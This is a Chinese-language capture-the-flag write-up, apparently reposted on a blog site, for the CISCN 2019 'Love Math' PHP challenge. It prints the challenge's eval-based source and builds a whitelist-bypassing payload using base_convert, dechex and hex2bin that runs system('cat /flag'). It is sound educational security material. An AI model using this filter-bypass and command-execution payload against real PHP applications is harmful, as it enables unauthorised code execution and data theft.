[CISCN 2019初赛]Love Math

这篇具有很好参考价值的文章主要介绍了[CISCN 2019初赛]Love Math。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

感慨自己实力不够,心浮气躁根本做不来难题。难得这题对我还很有吸引力,也涉及很多知识。只能说我是受益匪浅,总的来说加油吧ctfer。

考点

  1. 利用php动态函数的特性
  2. 利用php中的数学函数实现命令执行
  3. 利用php7的特性,就是可以用变量执行函数

解题过程

打开题目,源代码

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

简单分析一下,只有一个GET传参参数是c,然后对上传的值进行黑名单检测,接着给了白名单以及常用的数学函数。这个提示很明显了,需要我们用函数进行转换成我们的执行命令

我们访问该链接,发现base_convert函数是突破口(很明显我们要转换成字母)
[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全我们试试将phpinfo转换成十进制
[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全然后在题目测试一下
发现成功访问
[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全
思路正确后,我们现在就要想构造类似于system('ls /');这样的出来,但是这里对我们c的值进行了超多过滤,这里用的是构造出类似$_GET[1]这样。

关键点利用php动态函数的特性,比如我们可以构造

?c=$a=_GET;($$a)[1]&1=phpinfo();

如此来看我们就可以绕过正则匹配的限制

现在的问题就是如何构造出_GET,这里需要用到的两个函数是

dechex()函数:
可以将十进制转换为十六进制
hex2bin()函数:
可以将十六进制转换为ascii码

这里一开始做可能会有疑惑,为什么要用到dechex()函数呢,其实目的很明显,因为c的值不能有字母,而我们要想利用hex2bin()函数,(即十六进制有字母出现),必须要进行转换

经过测试

hex2bin('5f474554') --> _GET

往前推,hex2bin可以用base_convert函数表示

base_convert(37907361743,10,36)  --> hex2bin

5f474554用dechex函数表示

dechex(1598506324);  --> 5f474554

整理一下

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}&1=phpinfo();

注:命名为$abs是因为abs在白名单里,可以通过检测
然后再考虑到[]被过滤,用{}替换即可
但是上传后并没有回显

[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全原因很简单,phpinfo只是被当成字符串,并没有执行phpinfo();

这里最后一个点,就是我们传递的参数值为两个(即一个是函数名 一个是参数),该如何绕过呢
解决方法是用php7的特性,就是可以用变量执行函数

简单测试下,可以发现打印test出来

[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全
所以我们的payload为

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})&1=system&2=cat /flag

得到flag

[CISCN 2019初赛]Love Math,命令执行,php特性,php,web安全文章来源地址https://www.toymoban.com/news/detail-689818.html

到了这里,关于[CISCN 2019初赛]Love Math的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [2022CISCN]初赛 复现

    刚开始直接提取usb键盘流量,发现导出有问题 键盘流量,搜索8个字节长度的数据包,这里也能发现版本有2.8.1和2.10.1两种,因此猜测需要分别导出 提取出两段数据   然后拿脚本去解键盘流量,分别得到数据如下 第一个数据用010保存16进制文件,得到一个rar文件 第二个数据

    2024年02月08日
    浏览(34)
  • 【Web】CTFSHOW PHP命令执行刷题记录(全)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4✌脚本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果

    2024年01月23日
    浏览(31)
  • 全国大学生信息安全竞赛初赛writeup(历年CISCN真题与解析)

    收录了大佬们参加全国大学生信息安全竞赛初赛的writeup和真题环境,方便学习,排名不分先后,谨参考完整度和CSDN站内优先原则。 在此,对大佬们的分享表示由衷的敬意和诚挚的感谢! 第十二、十三届全国大学生信息安全竞赛——创新实践能力赛原题 如果遇到打不开的链

    2024年02月06日
    浏览(44)
  • CVE-2019-11043(PHP远程代码执行漏洞)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-11043(PHP远程代码执行漏洞)复现。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! CVE-2019-11043漏

    2024年02月06日
    浏览(37)
  • ciscn_2019_s_9

    32位,啥也没开,开心愉悦写shellcode 程序主要在这里,栈溢出,写shellcode进去然后执行,发现有个hint 这里有个jmp,ok好办了 思路 写shellcode,然后用jmp跳转到shellcode的头,然后执行shellcode 因为栈只有0x20大小,所以不能使用pwntools生成的shellcode 这个是0x17大小的shellcode,平时收

    2024年02月07日
    浏览(50)
  • buuctf PWN ciscn_2019_c_1

    encrypt()里面get函数存在溢出点offest=0x50+8。puts()可以用来泄露libc基址。 amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)-本函数地址 - 返回地址 ... - pop_rdi;ret - argv - call_addr - ret_address 获得本elf中的gadgets: ROPgadget --binary ./ciscn_2019_c_1 --only \\\"pop|ret\\\" ROPgadg

    2024年02月07日
    浏览(23)
  • ctfshow php特性(web89-web101)

    目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100  web101 php特性(php基础知识) preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了 但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收

    2024年01月20日
    浏览(30)
  • ctfshow web入门 php特性 web108-web112

    strrev() 反转字符串 ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值 payload: 类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

    2024年02月11日
    浏览(30)
  • 03Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    0x01 漏洞介绍 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH配置都可以通过外

    2024年02月09日
    浏览(31)
  • 【PHP代码审计】ctfshow web入门 php特性 93-104

    这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include(\\\"flag.php\\\"); : 这行代码将 flag.php 文件包含进来。如果 flag.php 文件中定义了变量 $flag ,它将在当前文件中可用。 highlight_file(__FILE__); : 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们

    2024年02月14日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包